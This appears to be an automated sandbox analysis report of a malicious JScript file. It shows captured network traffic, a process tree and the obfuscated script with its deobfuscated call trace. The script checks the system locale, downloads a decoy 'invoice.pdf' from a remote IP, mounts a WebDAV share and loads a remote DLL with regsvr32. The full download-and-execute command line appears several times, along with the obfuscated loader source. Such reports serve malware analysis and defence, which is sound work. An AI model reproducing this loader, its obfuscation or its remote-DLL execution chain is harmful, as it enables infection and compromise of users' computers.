Jan 11, 2025 08:23:59.266556978 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 08:23:59.266573906 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 08:23:59.266587019 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 08:23:59.266599894 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 08:23:59.266613007 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 08:23:59.266619921 CET	776	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 08:23:59.266630888 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 08:23:59.266881943 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 11, 2025 08:23:59.266896009 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9
Jan 11, 2025 08:23:59.271611929 CET	444	IN	Data Raw: d8 51 55 3b 72 1f 4b 07 86 5e 9c eb 03 43 6f 8f a2 18 3a 7c 34 7d 33 3d 0e f7 e7 7f 7d 10 fe fa fd 38 86 36 9b 72 4d 0c bd e9 62 28 c7 86 4e 61 ea 9b 13 00 00 c0 34 f8 62 09 00 36 ca dc 4e c3 1d b9 b9 b1 50 5d 07 c2 a2 a1 0f 97 14 b9 ed a9 26 5b Data Ascii: QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	4020	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:24:01.066020012 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 08:24:01.882472038 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:24:01 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:23:54
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5476263142183119959.js"
Imagebase:	0x7ff633dc0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:23:54
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll
Imagebase:	0x7ff6db9e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:23:54
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:23:54
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:23:59
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	02:23:59
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6db9e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:23:59
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff64e9c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:24:00
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	02:24:00
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:24:00
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1600,i,6624420939550628142,2575056952724772657,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function gtevewjmi() {	gtevewjmi() ➔ undefined
1	wxfak = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var caistuvib = this[pqvio + plxaxxegv + vvqyzftq + yuidz + lrcwn + jtdwmn + gbwhog + lyouwdbke] ( this[nllfkbbs + royzwxc + wuqomadw + vvqyzftq + jyzktsf + pqvio + lyouwdbke][jlnsl + vvqyzftq + lrcwn + plxaxxegv + lyouwdbke + lrcwn + rbnuspjq + vxhuas + cotmotnia + lrcwn + wuqomadw + lyouwdbke] ( nllfkbbs + royzwxc + wuqomadw + vvqyzftq + jyzktsf + pqvio + lyouwdbke + smnmnj + royzwxc + bzvhvbo + lrcwn + yvxydfom + yvxydfom ) [zdwgyrd + lrcwn + swaqv + zdwgyrd + lrcwn + plxaxxegv + tyaftkjou] ( jwipyrp + tveoaq + tttdugcwb + jfxhdqasi + zerppc + jlnsl + bhrmpteg + zdwgyrd + zdwgyrd + tttdugcwb + ypzvqo + pwclwvpw + zerppc + bhrmpteg + royzwxc + tttdugcwb + zdwgyrd + oocqrbhni + jlnsl + fwgjoieu + gbwhog + lyouwdbke + vvqyzftq + fwgjoieu + yvxydfom + wedxzyut + nutzsq + plxaxxegv + gbwhog + lrcwn + yvxydfom + oocqrbhni + jtdwmn + gbwhog + lyouwdbke + lrcwn + vvqyzftq + gbwhog + plxaxxegv + lyouwdbke + jyzktsf + fwgjoieu + gbwhog + plxaxxegv + yvxydfom + oocqrbhni + uwljtkqg + fwgjoieu + wuqomadw + plxaxxegv + yvxydfom + lrcwn ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( wxmnchafh = 0 ; wxmnchafh < wxfak[yvxydfom + lrcwn + gbwhog + swaqv + lyouwdbke + bzvhvbo] ; ++ wxmnchafh )
4	{
5	if ( caistuvib == wxfak[wxmnchafh] )
6	{
7	caistuvib = true;
8	break ;
9	}
10	}
11	if ( caistuvib !== true )
12	this[nllfkbbs + royzwxc + wuqomadw + vvqyzftq + jyzktsf + pqvio + lyouwdbke][fjblen + dsixtqxga + jyzktsf + lyouwdbke] ( );
13	this[nllfkbbs + royzwxc + wuqomadw + vvqyzftq + jyzktsf + pqvio + lyouwdbke][jlnsl + vvqyzftq + lrcwn + plxaxxegv + lyouwdbke + lrcwn + rbnuspjq + vxhuas + cotmotnia + lrcwn + wuqomadw + lyouwdbke] ( nllfkbbs + royzwxc + wuqomadw + vvqyzftq + jyzktsf + pqvio + lyouwdbke + smnmnj + royzwxc + bzvhvbo + lrcwn + yvxydfom + yvxydfom ) [vvqyzftq + dsixtqxga + gbwhog] ( wuqomadw + estaqvnt + tyaftkjou + wedxzyut + bzxjbr + wuqomadw + wedxzyut + pqvio + fwgjoieu + najmvm + lrcwn + vvqyzftq + yuidz + bzvhvbo + lrcwn + yvxydfom + yvxydfom + smnmnj + lrcwn + dzbqmbs + lrcwn + wedxzyut + gmldibex + jlnsl + fwgjoieu + estaqvnt + estaqvnt + plxaxxegv + gbwhog + tyaftkjou + wedxzyut + eezmj + jtdwmn + gbwhog + kdkjdznv + fwgjoieu + qgeimdv + lrcwn + gmldibex + nllfkbbs + lrcwn + vxhuas + zdwgyrd + lrcwn + axglpzw + dsixtqxga + lrcwn + yuidz + lyouwdbke + wedxzyut + gmldibex + rbnuspjq + dsixtqxga + lyouwdbke + mwehqsam + jyzktsf + yvxydfom + lrcwn + wedxzyut + itspc + lyouwdbke + lrcwn + estaqvnt + pqvio + itspc + oocqrbhni + jyzktsf + gbwhog + kdkjdznv + fwgjoieu + jyzktsf + wuqomadw + lrcwn + smnmnj + pqvio + tyaftkjou + gnudkxif + wedxzyut + bzvhvbo + lyouwdbke + lyouwdbke + pqvio + mojpo + bzxjbr + bzxjbr + wxlpdnn + jhosbj + qvpjj + smnmnj + wxlpdnn + wturloktr + qvpjj + smnmnj + wxlpdnn + smnmnj + nlmkfmq + zjccax + lngkiqxb + bzxjbr + jyzktsf + gbwhog + kdkjdznv + fwgjoieu + jyzktsf + wuqomadw + lrcwn + smnmnj + pqvio + bzvhvbo + pqvio + eezmj + dyaax + dyaax + yuidz + lyouwdbke + plxaxxegv + vvqyzftq + lyouwdbke + wedxzyut + itspc + lyouwdbke + lrcwn + estaqvnt + pqvio + itspc + oocqrbhni + jyzktsf + gbwhog + kdkjdznv + fwgjoieu + jyzktsf + wuqomadw + lrcwn + smnmnj + pqvio + tyaftkjou + gnudkxif + dyaax + dyaax + wuqomadw + estaqvnt + tyaftkjou + wedxzyut + bzxjbr + wuqomadw + wedxzyut + gbwhog + lrcwn + lyouwdbke + wedxzyut + dsixtqxga + yuidz + lrcwn + wedxzyut + oocqrbhni + oocqrbhni + wxlpdnn + jhosbj + qvpjj + smnmnj + wxlpdnn + wturloktr + qvpjj + smnmnj + wxlpdnn + smnmnj + nlmkfmq + zjccax + lngkiqxb + ppijauk + uvzvnfjdq + uvzvnfjdq + uvzvnfjdq + uvzvnfjdq + oocqrbhni + tyaftkjou + plxaxxegv + kdkjdznv + najmvm + najmvm + najmvm + vvqyzftq + fwgjoieu + fwgjoieu + lyouwdbke + oocqrbhni + dyaax + dyaax + wuqomadw + estaqvnt + tyaftkjou + wedxzyut + bzxjbr + wuqomadw + wedxzyut + vvqyzftq + lrcwn + swaqv + yuidz + kdkjdznv + vvqyzftq + qvpjj + nlmkfmq + wedxzyut + bzxjbr + yuidz + wedxzyut + oocqrbhni + oocqrbhni + wxlpdnn + jhosbj + qvpjj + smnmnj + wxlpdnn + wturloktr + qvpjj + smnmnj + wxlpdnn + smnmnj + nlmkfmq + zjccax + lngkiqxb + ppijauk + uvzvnfjdq + uvzvnfjdq + uvzvnfjdq + uvzvnfjdq + oocqrbhni + tyaftkjou + plxaxxegv + kdkjdznv + najmvm + najmvm + najmvm + vvqyzftq + fwgjoieu + fwgjoieu + lyouwdbke + oocqrbhni + uvzvnfjdq + wxlpdnn + wxlpdnn + pzgigll + wxlpdnn + zjccax + wturloktr + jhosbj + wxlpdnn + wturloktr + nsqpav + wxlpdnn + zjccax + smnmnj + tyaftkjou + yvxydfom + yvxydfom, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll",0,false) ➔ 0
14	}
15	yuidz = "w";
16	yuidz = "r";
17	yuidz = "V";
18	yuidz = "C";
19	yuidz = "y";
20	yuidz = "c";
21	yuidz = "b";
22	yuidz = "s";
23	yuidz = "R";
24	yuidz = "s";
25	yuidz = "G";
26	yuidz = "M";
27	yuidz = "i";
28	yuidz = "t";
29	yuidz = "X";
30	yuidz = "P";
31	yuidz = "k";
32	yuidz = "I";
33	yuidz = "y";
34	yuidz = "D";
35	yuidz = "b";
36	yuidz = "F";
37	yuidz = "i";
38	yuidz = "m";
39	yuidz = "D";
40	yuidz = "f";
41	yuidz = "x";
42	yuidz = "Z";
43	yuidz = "x";
44	yuidz = "F";
45	yuidz = "R";
46	yuidz = "b";
47	yuidz = "l";
48	yuidz = "E";
49	yuidz = "H";
50	yuidz = "J";
51	yuidz = "z";
52	yuidz = "b";
53	yuidz = "P";
54	yuidz = "D";
55	yuidz = "W";
56	yuidz = "x";
57	yuidz = "s";
58	qgeimdv = "b";
59	qgeimdv = "X";
60	qgeimdv = "z";
61	qgeimdv = "Q";
62	qgeimdv = "N";
63	qgeimdv = "j";
64	qgeimdv = "s";
65	qgeimdv = "V";
66	qgeimdv = "k";
67	gbwhog = "V";
68	gbwhog = "X";
69	gbwhog = "m";
70	gbwhog = "C";
71	gbwhog = "f";
72	gbwhog = "h";
73	gbwhog = "n";
74	gbwhog = "Q";
75	gbwhog = "m";
76	gbwhog = "F";
77	gbwhog = "E";
78	gbwhog = "G";
79	gbwhog = "O";
80	gbwhog = "l";
81	gbwhog = "P";
82	gbwhog = "A";
83	gbwhog = "O";
84	gbwhog = "p";
85	gbwhog = "o";
86	gbwhog = "B";
87	gbwhog = "w";
88	gbwhog = "Z";
89	gbwhog = "j";
90	gbwhog = "t";
91	gbwhog = "e";
92	gbwhog = "L";
93	gbwhog = "S";
94	gbwhog = "H";
95	gbwhog = "A";
96	gbwhog = "S";
97	gbwhog = "Q";
98	gbwhog = "Z";
99	gbwhog = "O";
100	gbwhog = "F";
101	gbwhog = "R";
102	gbwhog = "C";
103	gbwhog = "j";
104	gbwhog = "t";
105	gbwhog = "t";
106	gbwhog = "n";
107	swaqv = "D";
108	swaqv = "F";
109	swaqv = "n";
110	swaqv = "y";
111	swaqv = "B";
112	swaqv = "S";
113	swaqv = "W";
114	swaqv = "a";
115	swaqv = "s";
116	swaqv = "q";
117	swaqv = "m";
118	swaqv = "r";
119	swaqv = "r";
120	swaqv = "y";
121	swaqv = "r";
122	swaqv = "P";
123	swaqv = "N";
124	swaqv = "q";
125	swaqv = "Y";
126	swaqv = "Y";
127	swaqv = "i";
128	swaqv = "B";
129	swaqv = "K";
130	swaqv = "h";
131	swaqv = "j";
132	swaqv = "D";
133	swaqv = "N";
134	swaqv = "N";
135	swaqv = "q";
136	swaqv = "e";
137	swaqv = "m";
138	swaqv = "k";
139	swaqv = "L";
140	swaqv = "t";
141	swaqv = "r";
142	swaqv = "Z";
143	swaqv = "T";
144	swaqv = "l";
145	swaqv = "k";
146	swaqv = "O";
147	swaqv = "E";
148	swaqv = "g";
149	vvqyzftq = "m";
150	vvqyzftq = "Z";
151	vvqyzftq = "L";
152	vvqyzftq = "a";
153	vvqyzftq = "w";
154	vvqyzftq = "r";
155	vvqyzftq = "R";
156	vvqyzftq = "y";
157	vvqyzftq = "u";
158	vvqyzftq = "L";
159	vvqyzftq = "q";
160	vvqyzftq = "y";
161	vvqyzftq = "y";
162	vvqyzftq = "f";
163	vvqyzftq = "B";
164	vvqyzftq = "F";
165	vvqyzftq = "A";
166	vvqyzftq = "e";
167	vvqyzftq = "J";
168	vvqyzftq = "V";
169	vvqyzftq = "T";
170	vvqyzftq = "t";
171	vvqyzftq = "E";
172	vvqyzftq = "k";
173	vvqyzftq = "v";
174	vvqyzftq = "y";
175	vvqyzftq = "r";
176	jyzktsf = "L";
177	jyzktsf = "s";
178	jyzktsf = "q";
179	jyzktsf = "X";
180	jyzktsf = "h";
181	jyzktsf = "G";
182	jyzktsf = "o";
183	jyzktsf = "L";
184	jyzktsf = "u";
185	jyzktsf = "E";
186	jyzktsf = "b";
187	jyzktsf = "S";
188	jyzktsf = "J";
189	jyzktsf = "D";
190	jyzktsf = "u";
191	jyzktsf = "j";
192	jyzktsf = "a";
193	jyzktsf = "B";
194	jyzktsf = "C";
195	jyzktsf = "R";
196	jyzktsf = "u";
197	jyzktsf = "G";
198	jyzktsf = "y";
199	jyzktsf = "K";
200	jyzktsf = "x";
201	jyzktsf = "r";
202	jyzktsf = "S";
203	jyzktsf = "e";
204	jyzktsf = "J";
205	jyzktsf = "v";
206	jyzktsf = "f";
207	jyzktsf = "a";
208	jyzktsf = "A";
209	jyzktsf = "i";
210	lrcwn = "j";
211	lrcwn = "y";
212	lrcwn = "O";
213	lrcwn = "p";
214	lrcwn = "e";
215	jhosbj = "t";
216	jhosbj = "E";
217	jhosbj = "l";
218	jhosbj = "L";
219	jhosbj = "c";
220	jhosbj = "e";
221	jhosbj = "Q";
222	jhosbj = "h";
223	jhosbj = "K";
224	jhosbj = "S";
225	jhosbj = "k";
226	jhosbj = "T";
227	jhosbj = "J";
228	jhosbj = "P";
229	jhosbj = "Z";
230	jhosbj = "R";
231	jhosbj = "I";
232	jhosbj = "V";
233	jhosbj = "u";
234	jhosbj = "Q";
235	jhosbj = "J";
236	jhosbj = "c";
237	jhosbj = "V";
238	jhosbj = "Y";
239	jhosbj = "j";
240	jhosbj = "i";
241	jhosbj = "M";
242	jhosbj = "m";
243	jhosbj = "L";
244	jhosbj = "W";
245	jhosbj = "o";
246	jhosbj = "S";
247	jhosbj = "g";
248	jhosbj = "B";
249	jhosbj = "9";
250	dsixtqxga = "C";
251	dsixtqxga = "O";
252	dsixtqxga = "z";
253	dsixtqxga = "g";
254	dsixtqxga = "c";
255	dsixtqxga = "L";
256	dsixtqxga = "R";
257	dsixtqxga = "C";
258	dsixtqxga = "q";
259	dsixtqxga = "i";
260	dsixtqxga = "q";
261	dsixtqxga = "P";
262	dsixtqxga = "F";
263	dsixtqxga = "W";
264	dsixtqxga = "n";
265	dsixtqxga = "O";
266	dsixtqxga = "Y";
267	dsixtqxga = "J";
268	dsixtqxga = "h";
269	dsixtqxga = "m";
270	dsixtqxga = "c";
271	dsixtqxga = "E";
272	dsixtqxga = "K";
273	dsixtqxga = "u";
274	royzwxc = "B";
275	royzwxc = "l";
276	royzwxc = "S";
277	smnmnj = "F";
278	smnmnj = "M";
279	smnmnj = "d";
280	smnmnj = "i";
281	smnmnj = "K";
282	smnmnj = "r";
283	smnmnj = "w";
284	smnmnj = "g";
285	smnmnj = "e";
286	smnmnj = "W";
287	smnmnj = "f";
288	smnmnj = "M";
289	smnmnj = "g";
290	smnmnj = "F";
291	smnmnj = "U";
292	smnmnj = "V";
293	smnmnj = "j";
294	smnmnj = "C";
295	smnmnj = "I";
296	smnmnj = "i";
297	smnmnj = ".";
298	jtdwmn = "i";
299	jtdwmn = "a";
300	jtdwmn = "m";
301	jtdwmn = "y";
302	jtdwmn = "s";
303	jtdwmn = "V";
304	jtdwmn = "R";
305	jtdwmn = "e";
306	jtdwmn = "L";
307	jtdwmn = "I";
308	jtdwmn = "T";
309	jtdwmn = "x";
310	jtdwmn = "a";
311	jtdwmn = "K";
312	jtdwmn = "y";
313	jtdwmn = "k";
314	jtdwmn = "t";
315	jtdwmn = "W";
316	jtdwmn = "g";
317	jtdwmn = "X";
318	jtdwmn = "D";
319	jtdwmn = "U";
320	jtdwmn = "v";
321	jtdwmn = "l";
322	jtdwmn = "J";
323	jtdwmn = "p";
324	jtdwmn = "t";
325	jtdwmn = "W";
326	jtdwmn = "h";
327	jtdwmn = "N";
328	jtdwmn = "Y";
329	jtdwmn = "Y";
330	jtdwmn = "n";
331	jtdwmn = "X";
332	jtdwmn = "o";
333	jtdwmn = "X";
334	jtdwmn = "H";
335	jtdwmn = "a";
336	jtdwmn = "y";
337	jtdwmn = "T";
338	jtdwmn = "z";
339	jtdwmn = "f";
340	jtdwmn = "g";
341	jtdwmn = "I";
342	yvxydfom = "Z";
343	yvxydfom = "o";
344	yvxydfom = "q";
345	yvxydfom = "A";
346	yvxydfom = "n";
347	yvxydfom = "r";
348	yvxydfom = "h";
349	yvxydfom = "r";
350	yvxydfom = "Y";
351	yvxydfom = "j";
352	yvxydfom = "S";
353	yvxydfom = "l";
354	ypzvqo = "F";
355	ypzvqo = "X";
356	ypzvqo = "W";
357	ypzvqo = "y";
358	ypzvqo = "P";
359	ypzvqo = "o";
360	ypzvqo = "P";
361	ypzvqo = "q";
362	ypzvqo = "s";
363	ypzvqo = "M";
364	ypzvqo = "G";
365	ypzvqo = "j";
366	ypzvqo = "l";
367	ypzvqo = "q";
368	ypzvqo = "R";
369	ypzvqo = "U";
370	ypzvqo = "i";
371	ypzvqo = "y";
372	ypzvqo = "s";
373	ypzvqo = "K";
374	ypzvqo = "L";
375	ypzvqo = "k";
376	ypzvqo = "h";
377	ypzvqo = "H";
378	ypzvqo = "A";
379	ypzvqo = "z";
380	ypzvqo = "N";
381	qvpjj = "S";
382	qvpjj = "n";
383	qvpjj = "D";
384	qvpjj = "R";
385	qvpjj = "Z";
386	qvpjj = "P";
387	qvpjj = "j";
388	qvpjj = "G";
389	qvpjj = "F";
390	qvpjj = "i";
391	qvpjj = "S";
392	qvpjj = "Z";
393	qvpjj = "i";
394	qvpjj = "y";
395	qvpjj = "z";
396	qvpjj = "D";
397	qvpjj = "L";
398	qvpjj = "U";
399	qvpjj = "I";
400	qvpjj = "3";
401	bzxjbr = "d";
402	bzxjbr = "F";
403	bzxjbr = "Y";
404	bzxjbr = "D";
405	bzxjbr = "l";
406	bzxjbr = "T";
407	bzxjbr = "D";
408	bzxjbr = "G";
409	bzxjbr = "m";
410	bzxjbr = "f";
411	bzxjbr = "D";
412	bzxjbr = "d";
413	bzxjbr = "s";
414	bzxjbr = "G";
415	bzxjbr = "i";
416	bzxjbr = "Q";
417	bzxjbr = "Z";
418	bzxjbr = "h";
419	bzxjbr = "Y";
